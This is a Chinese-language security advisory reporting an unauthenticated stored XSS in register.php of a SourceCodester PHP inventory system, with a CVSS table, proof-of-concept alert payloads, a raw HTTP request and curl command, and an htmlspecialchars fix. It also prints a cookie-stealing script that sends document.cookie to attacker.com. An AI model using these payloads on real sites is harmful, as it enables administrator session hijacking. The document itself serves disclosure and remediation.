| 字段 | 详情 |
|---|---|
| 漏洞类型 | 存储型跨站脚本 (Stored XSS) |
| 受影响的应用 | 使用PHP和MySQL的库存管理系统 |
| 供应商 | SourceCodester |
| 受影响版本 | 1.0 |
| 受影响文件 | register.php |
| 参数 | fullname, username |
| 是否需要认证 | 否(未认证) |
| 影响 | 管理员会话劫持,在管理面板中执行恶意脚本 |
| CVSS 评分 | 8.8(高危) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
SourceCodester 提交的 使用PHP和MySQL的库存管理系统(提交于2026年5月23日)在员工注册模块(register.php)中存在**未认证的存储型跨站脚本(Stored XSS)**漏洞。
fullname 和 username 输入字段在将用户输入存储到数据库之前,未进行任何过滤或编码。当管理员访问用户管理页面(users.php)时,未经过滤的载荷会直接渲染到HTML上下文中,导致管理员浏览器会话中立即执行JavaScript。
由于注册无需认证,远程未认证的攻击者可以注入任意JavaScript,这些脚本会在任何查看用户管理面板的管理员浏览器上下文中执行。
/product_inventory/register.php —— 无需登录。fullname 和/或 username 字段中提交恶意载荷。/product_inventory/users.php 时,载荷在管理员浏览器中自动执行。http://<TARGET>/product_inventory/register.php
全名字段载荷:
<script>alert(1)</script>
用户名字段载荷:
<script>alert(2)</script>
密码: 任意值(例如 test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
curl 等效命令:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
以管理员身份登录并导航至:
http://<TARGET>/product_inventory/users.php
两个载荷在页面加载时立即执行。
未认证攻击者可实现以下操作:
会话Cookie窃取载荷示例(替换为攻击者服务器地址):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
漏洞产生的原因是 register.php 将用户输入直接插入数据库而未进行过滤,而 users.php 输出存储的值时未使用 htmlspecialchars() 进行编码。
users.php 中的漏洞模式(近似):
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
修复方法——应用输出编码:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
此外,在 register.php 插入时,应使用 strip_tags() 或带正确验证的预处理语句对输入进行过滤。
htmlspecialchars() 配合 ENT_QUOTES 进行输出编码。报告人:Syed Imad Uddin Alvi — 独立安全研究员